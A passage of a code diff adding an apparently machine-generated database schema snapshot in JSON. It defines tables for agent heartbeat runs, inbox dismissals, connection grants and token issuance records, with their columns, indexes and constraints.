+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_runs": {
+      "name": "heartbeat_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_source": {
+          "name": "invocation_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'on_demand'"
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "wakeup_request_id": {
+          "name": "wakeup_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signal": {
+          "name": "signal",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_json": {
+          "name": "usage_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_json": {
+          "name": "result_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_before": {
+          "name": "session_id_before",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_after": {
+          "name": "session_id_after",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_run_id": {
+          "name": "external_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_pid": {
+          "name": "process_pid",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_group_id": {
+          "name": "process_group_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_started_at": {
+          "name": "process_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_at": {
+          "name": "last_output_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_seq": {
+          "name": "last_output_seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_output_stream": {
+          "name": "last_output_stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_bytes": {
+          "name": "last_output_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_run_id": {
+          "name": "retry_of_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_loss_retry_count": {
+          "name": "process_loss_retry_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_at": {
+          "name": "scheduled_retry_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scheduled_retry_attempt": {
+          "name": "scheduled_retry_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_reason": {
+          "name": "scheduled_retry_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_status": {
+          "name": "issue_comment_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_applicable'"
+        },
+        "issue_comment_satisfied_by_comment_id": {
+          "name": "issue_comment_satisfied_by_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_retry_queued_at": {
+          "name": "issue_comment_retry_queued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_state": {
+          "name": "liveness_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_reason": {
+          "name": "liveness_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "continuation_attempt": {
+          "name": "continuation_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_useful_action_at": {
+          "name": "last_useful_action_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "context_snapshot": {
+          "name": "context_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_runs_company_agent_started_idx": {
+          "name": "heartbeat_runs_company_agent_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_responsible_user_idx": {
+          "name": "heartbeat_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_liveness_idx": {
+          "name": "heartbeat_runs_company_liveness_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "liveness_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_last_output_idx": {
+          "name": "heartbeat_runs_company_status_last_output_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_output_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_process_started_idx": {
+          "name": "heartbeat_runs_company_status_process_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "process_started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_created_at_desc_idx": {
+          "name": "heartbeat_runs_company_created_at_desc_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_issue_created_idx": {
+          "name": "heartbeat_runs_company_ctx_issue_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_task_created_idx": {
+          "name": "heartbeat_runs_company_ctx_task_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_taskkey_created_idx": {
+          "name": "heartbeat_runs_company_ctx_taskkey_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskKey')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_runs_company_id_companies_id_fk": {
+          "name": "heartbeat_runs_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_agent_id_agents_id_fk": {
+          "name": "heartbeat_runs_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk": {
+          "name": "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agent_wakeup_requests",
+          "columnsFrom": [
+            "wakeup_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "retry_of_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.inbox_dismissals": {
+      "name": "inbox_dismissals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "item_key": {
+          "name": "item_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'dismiss'"
+        },
+        "dismissed_at": {
+          "name": "dismissed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "inbox_dismissals_company_user_idx": {
+          "name": "inbox_dismissals_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_item_idx": {
+          "name": "inbox_dismissals_company_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_user_item_idx": {
+          "name": "inbox_dismissals_company_user_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "inbox_dismissals_company_id_companies_id_fk": {
+          "name": "inbox_dismissals_company_id_companies_id_fk",
+          "tableFrom": "inbox_dismissals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.connection_grants": {
+      "name": "connection_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_tenant": {
+          "name": "provider_tenant",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_agent_id": {
+          "name": "revoked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_user_id": {
+          "name": "revoked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_grants_company_connection_idx": {
+          "name": "connection_grants_company_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_subject_user_idx": {
+          "name": "connection_grants_subject_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_user_uq": {
+          "name": "connection_grants_user_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_default_uq": {
+          "name": "connection_grants_default_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"connection_grants\".\"is_default\" = true and \"connection_grants\".\"kind\" = 'workspace'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_grants_company_id_companies_id_fk": {
+          "name": "connection_grants_company_id_companies_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_grants_created_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_created_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_revoked_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_revoked_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "revoked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_company_connection_fk": {
+          "name": "connection_grants_company_connection_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "company_id",
+            "connection_id"
+          ],
+          "columnsTo": [
+            "company_id",
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "connection_grants_kind_check": {
+          "name": "connection_grants_kind_check",
+          "value": "\"connection_grants\".\"kind\" in ('workspace', 'user')"
+        },
+        "connection_grants_status_check": {
+          "name": "connection_grants_status_check",
+          "value": "\"connection_grants\".\"status\" in ('active', 'revoked', 'expired', 'needs_reauthorization')"
+        },
+        "connection_grants_subject_check": {
+          "name": "connection_grants_subject_check",
+          "value": "(\"connection_grants\".\"kind\" = 'user' and \"connection_grants\".\"subject_user_id\" is not null) or (\"connection_grants\".\"kind\" = 'workspace' and \"connection_grants\".\"subject_user_id\" is null)"
+        },
+        "connection_grants_default_check": {
+          "name": "connection_grants_default_check",
+          "value": "\"connection_grants\".\"is_default\" = false or \"connection_grants\".\"kind\" = 'workspace'"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.connection_token_issuances": {
+      "name": "connection_token_issuances",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_scope": {
+          "name": "requested_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "issued_scope": {
+          "name": "issued_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "ttl_seconds": {
+          "name": "ttl_seconds",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_token_issuances_company_created_idx": {
+          "name": "connection_token_issuances_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_connection_created_idx": {
+          "name": "connection_token_issuances_connection_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_agent_connection_idx": {
+          "name": "connection_token_issuances_agent_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_run_idx": {
+          "name": "connection_token_issuances_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_token_issuances_company_id_companies_id_fk": {
+          "name": "connection_token_issuances_company_id_companies_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_application_id_tool_applications_id_fk": {
+          "name": "connection_token_issuances_application_id_tool_applications_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_connection_id_tool_connections_id_fk": {
+          "name": "connection_token_issuances_connection_id_tool_connections_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_agent_id_agents_id_fk": {
+          "name": "connection_token_issuances_agent_id_agents_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_run_id_heartbeat_runs_id_fk": {
+          "name": "connection_token_issuances_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_issue_id_issues_id_fk": {
+          "name": "connection_token_issuances_issue_id_issues_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_project_id_projects_id_fk": {
+          "name": "connection_token_issuances_project_id_projects_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_settings": {
+      "name": "instance_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
